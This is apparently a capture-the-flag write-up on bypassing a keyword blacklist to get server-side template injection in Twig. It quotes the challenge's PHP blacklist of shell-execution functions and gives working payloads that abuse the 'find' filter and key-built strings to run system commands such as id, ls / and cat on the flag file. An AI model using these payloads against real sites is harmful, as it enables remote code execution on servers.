TwigPlayground - CSCTF 2024

2024/03/09

Tags: twig ssti blacklist

Description

Check out my free online Twig playground! https://twig-playground-web.challs.csc.tf
Author: 0xM4hm0ud

Had some time last weekend to play CyberSpace ctf 2024, and managed to solve TwigPlayground by 0xM4hm0ud

Twig SSTI

For this challenge, by reading the src we can tell any basic SSTI payload wont work.

        <?php
        ini_set('display_errors', 0);
        ini_set('error_reporting', 0);
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            require_once 'vendor/autoload.php';

            $loader = new \Twig\Loader\ArrayLoader([]);
            $twig = new \Twig\Environment($loader, [
                'debug' => true,
            ]);
            $twig->addExtension(new \Twig\Extension\DebugExtension());

            $context = [
                'user' => [
                    'name' => 'Wesley',
                    'age' => 30,
                ],
                'items' => ['Apple', 'Banana', 'Cherry', 'Dragonfruit'],
            ];

            // Ensure no SSTI or RCE vulnerabilities
            $blacklist = ['system', 'id', 'passthru', 'exec', 'shell_exec', 'popen', 'proc_open', 
                        'pcntl_exec', '_self', 'reduce', 'env', 'sort', 'map', 'filter', 'replace', 
                        'encoding', 'include', 'file', 'run', 'Closure', 'Callable', 'Process', 
                        'Symfony', '\'', '"', '.', ';', '[', ']', '\\', '/', '-'];

            $templateContent = $_POST['input'] ?? '';

            foreach ($blacklist as $item) {
                if (stripos($templateContent, $item) !== false) {
                    die("Error: The input contains forbidden content: '$item'");
                }
            }

            try {
                $template = $twig->createTemplate($templateContent);

                $result = $template->render($context);
                echo '<h2>Rendered Output:</h2>';
                echo '<div class="output">';
                echo htmlspecialchars($result);  // Ensure no XSS vulnerabilities
                echo '</div>';
            } catch(Exception $e) {
                echo '<div class="error">Something went wrong! Try again.</div>';
            }
        }
        ?>

However if we wanna solve this challenge we need to understand how actual SSTI in twig is achieved.

Basic SSTI in Twig

First let’s ignore the long blacklist, let’s see how we can achieve RCE from SSTI in twig

A simple example from payloads all things

{{['id']|filter('system')}}

What’s happening here? Let’s check twig’s definition of the filter filter

// file: src/Extension/CoreExtenion.php

    public static function filter(Environment $env, $array, $arrow)
    {
        if (!is_iterable($array)) {
            throw new RuntimeError(\sprintf('The "filter" filter expects a sequence/mapping or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
        }

        self::checkArrowInSandbox($env, $arrow, 'filter', 'filter');

        if (\is_array($array)) {
            return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
        }

        // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
        return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
    }

In this example, the filter() function is using the builtin php function array_filter, however this function can be dangerous if we are able to call an arrow function/callback function.

So in the background this is what’s really happening:

array_filter(['id'],'system'); // uid=0(root) gid=0(root) groups=0(root)

Twig source

Okey, great we know how it works now we can start figuring out the bypass. While reading the twig src code, we find a different number of functions and filters defined, let’s list them all and check whats blocked

    public function getFilters(): array
    {
        return [
            // formatting filters
            new TwigFilter('date', [$this, 'formatDate']),
            new TwigFilter('date_modify', [$this, 'modifyDate']),
            new TwigFilter('format', [self::class, 'sprintf']),
            new TwigFilter('replace', [self::class, 'replace']),
            new TwigFilter('number_format', [$this, 'formatNumber']),
            new TwigFilter('abs', 'abs'),
            new TwigFilter('round', [self::class, 'round']),

            // encoding
            new TwigFilter('url_encode', [self::class, 'urlencode']),
            new TwigFilter('json_encode', 'json_encode'),
            new TwigFilter('convert_encoding', [self::class, 'convertEncoding']),

            // string filters
            new TwigFilter('title', [self::class, 'titleCase'], ['needs_charset' => true]),
            new TwigFilter('capitalize', [self::class, 'capitalize'], ['needs_charset' => true]),
            new TwigFilter('upper', [self::class, 'upper'], ['needs_charset' => true]),
            new TwigFilter('lower', [self::class, 'lower'], ['needs_charset' => true]),
            new TwigFilter('striptags', [self::class, 'striptags']),
            new TwigFilter('trim', [self::class, 'trim']),
            new TwigFilter('nl2br', [self::class, 'nl2br'], ['pre_escape' => 'html', 'is_safe' => ['html']]),
            new TwigFilter('spaceless', [self::class, 'spaceless'], ['is_safe' => ['html'], 'deprecation_info' => new DeprecatedCallableInfo('twig/twig', '3.12')]),

            // array helpers
            new TwigFilter('join', [self::class, 'join']),
            new TwigFilter('split', [self::class, 'split'], ['needs_charset' => true]),
            new TwigFilter('sort', [self::class, 'sort'], ['needs_environment' => true]),
            new TwigFilter('merge', [self::class, 'merge']),
            new TwigFilter('batch', [self::class, 'batch']),
            new TwigFilter('column', [self::class, 'column']),
            new TwigFilter('filter', [self::class, 'filter'], ['needs_environment' => true]),
            new TwigFilter('map', [self::class, 'map'], ['needs_environment' => true]),
            new TwigFilter('reduce', [self::class, 'reduce'], ['needs_environment' => true]),
            new TwigFilter('find', [self::class, 'find'], ['needs_environment' => true]),

            // string/array filters
            new TwigFilter('reverse', [self::class, 'reverse'], ['needs_charset' => true]),
            new TwigFilter('shuffle', [self::class, 'shuffle'], ['needs_charset' => true]),
            new TwigFilter('length', [self::class, 'length'], ['needs_charset' => true]),
            new TwigFilter('slice', [self::class, 'slice'], ['needs_charset' => true]),
            new TwigFilter('first', [self::class, 'first'], ['needs_charset' => true]),
            new TwigFilter('last', [self::class, 'last'], ['needs_charset' => true]),

            // iteration and runtime
            new TwigFilter('default', [self::class, 'default'], ['node_class' => DefaultFilter::class]),
            new TwigFilter('keys', [self::class, 'keys']),
        ];
    }

    public function getFunctions(): array
    {
        return [
            new TwigFunction('parent', null, ['parser_callable' => [self::class, 'parseParentFunction']]),
            new TwigFunction('block', null, ['parser_callable' => [self::class, 'parseBlockFunction']]),
            new TwigFunction('attribute', null, ['parser_callable' => [self::class, 'parseAttributeFunction']]),
            new TwigFunction('max', 'max'),
            new TwigFunction('min', 'min'),
            new TwigFunction('range', 'range'),
            new TwigFunction('constant', [self::class, 'constant']),
            new TwigFunction('cycle', [self::class, 'cycle']),
            new TwigFunction('random', [self::class, 'random'], ['needs_charset' => true]),
            new TwigFunction('date', [$this, 'convertDate']),
            new TwigFunction('include', [self::class, 'include'], ['needs_environment' => true, 'needs_context' => true, 'is_safe' => ['all']]),
            new TwigFunction('source', [self::class, 'source'], ['needs_environment' => true, 'is_safe' => ['all']]),
            new TwigFunction('enum_cases', [self::class, 'enumCases'], ['node_class' => EnumCasesFunction::class]),
        ];
    }

While reading the src code, we also checked the documentation, however one filter that was missing in the docs, the find filter

Awesome let’s check it’s code and see maybe its possible to use it

    public static function find(Environment $env, $array, $arrow)
    {
        self::checkArrowInSandbox($env, $arrow, 'find', 'filter');

        foreach ($array as $k => $v) {
            if ($arrow($v, $k)) {
                return $v;
            }
        }

        return null;
    }

We can see this code is allowing us to include an arrow function. Easy now let’s see how we can use find to get RCE

{{ ['id']|find('system') }} // uid=0(root) gid=0(root) groups=0(root)

Nice! okey now for the real issues..

Payload

In this challenge, one of the obstacles to generating a payload is finding ways to build strings without quotes or double quotes and also find ways around the array restriction “[]”

After digging around in twig docs, we can see that we can define arrays like this without using quotes

{% set foo = {foo: bar} %}

but how would this help? Luckily for us, the filter keys can retrieve array keys and return them.

{% set foobar = {foo: 1,bar: 2}|keys %}{{dump(foobar)|raw}} // array(2) { [0]=> string(3) "foo" [1]=> string(3) "bar" }

But the output is still an array? Easy we can use join() to join them into a string. And we get this.

{% set foobar = {foo: 1,bar: 2}|keys|join %}{{dump(foobar)|raw}} // string(6) "foobar"

Now we can prepare our payload slowly, let’s start with the strings


{% set syste={syste:1}|keys|join() %}
{% set m={m:1}|keys|join() %}
{% set i={i:1}|keys|join() %}
{% set d={d:1}|keys|join() %}
{% set rce=i~d %}
{{ {rce}|find(syste~m) }}

// uid=1000 gid=1000 groups=1000 id

okey now this is easy right?

Well there are just few complications, the flag is located at / so how can we get the slash?

Simply find any output from a function or filter that is not blocked that outputs a slash and you can simply slice it and use it.

For my case, this is what i used

{% set slash=(dump()|nl2br()|slice(14,1))|join() %}

ok now the space? Easy, same method for the slash.

{% set space=(dump()|nl2br()|slice(13,1))|join() %}

Almost there

So great now we can do ls / like this

{% set slash=(dump()|nl2br()|slice(14,1))|join() %}
{% set space=(dump()|nl2br()|slice(13,1))|join() %}
{% set syste={syste:1}|keys|join() %}
{% set m={m:1}|keys|join() %}
{% set ls={ls:1}|keys|join() %}
{% set rce=ls~space~slash %}
{{ {rce}|find(syste~m) }} 

// bin dev etc flag-edbfcbcaef home lib media mnt opt proc root run sbin srv sys tmp usr var ls /

But as you see the flag has a - in it, so either we find a way to get a dash - or an asterix * where we can do cat /flag*

However we can easily get the dash from this

{% set dash=_charset|slice(3,1)|join() %}
{{dash}} // -

Finally

After finding all the pieces we can simply add them up together

{% set slash=(dump()|nl2br()|slice(14,1))|join() %}
{% set space=(dump()|nl2br()|slice(13,1))|join() %}
{% set syste={syste:1}|keys|join() %}
{% set m={m:1}|keys|join() %}
{% set cat={cat:1}|keys|join() %}
{% set flag1={flag:1}|keys|join() %}
{% set dash=_charset|slice(3,1)|join() %}
{% set flag2={edbfcbcaef:1}|keys|join() %}
{% set rce=cat~space~slash~flag1~dash~flag2 %}
{{ {rce}|find(syste~m) }} // CSCTF{Tw1g_tw1g_ssT1_n0_h4cKtr1ck5_th1S_t1M3}

flag: CSCTF{Tw1g_tw1g_ssT1_n0_h4cKtr1ck5_th1S_t1M3}

Notes

The main part of this challenge is finding the find filter. However, there are many other ways other than filters as long as they have some method of using a callback/arrow function like this $arrow($v,$k)

Some examples are the has some and has every which are operators in Twig.


    public static function arrayEvery(Environment $env, $array, $arrow)
    {
        self::checkArrowInSandbox($env, $arrow, 'has every', 'operator');

        foreach ($array as $k => $v) {
            if (!$arrow($v, $k)) {
                return false;
            }
        }

        return true;
    }
    public static function arraySome(Environment $env, $array, $arrow)
    {
        self::checkArrowInSandbox($env, $arrow, 'has some', 'operator');

        foreach ($array as $k => $v) {
            if ($arrow($v, $k)) {
                return true;
            }
        }

        return false;
    }
>> Home